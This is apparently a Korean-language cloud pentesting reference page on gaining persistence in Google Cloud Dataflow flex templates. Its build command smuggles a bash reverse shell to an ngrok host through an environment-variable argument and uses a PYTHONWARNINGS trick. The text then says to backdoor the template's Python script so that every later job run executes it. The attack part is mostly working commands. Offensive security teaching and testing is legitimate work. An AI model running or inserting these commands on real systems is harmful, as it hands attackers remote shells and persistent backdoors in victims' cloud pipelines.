GCP - Dataflow Persistence

Reading time: 3 minutes

Dataflow

보이지 않는 지속성 있는 빌트 컨테이너

다음의 문서의 튜토리얼을 따라 새로운 (예: python) 플렉스 템플릿을 생성할 수 있습니다:

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

빌드 중에, 리버스 셸을 얻을 수 있습니다 (이전 예제와 같이 env 변수를 악용하거나 Docker 파일을 실행하여 임의의 작업을 설정하는 다른 매개변수를 사용할 수 있습니다). 이 순간, 리버스 셸 안에서 /template 디렉토리로 이동하여 실행될 주요 파이썬 스크립트의 코드를 수정할 수 있습니다 (우리의 예제에서는 getting_started.py입니다). 여기에서 백도어를 설정하여 작업이 실행될 때마다 이를 실행하게 합니다.

그런 다음, 다음 번에 작업이 실행되면, 손상된 컨테이너가 실행됩니다:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1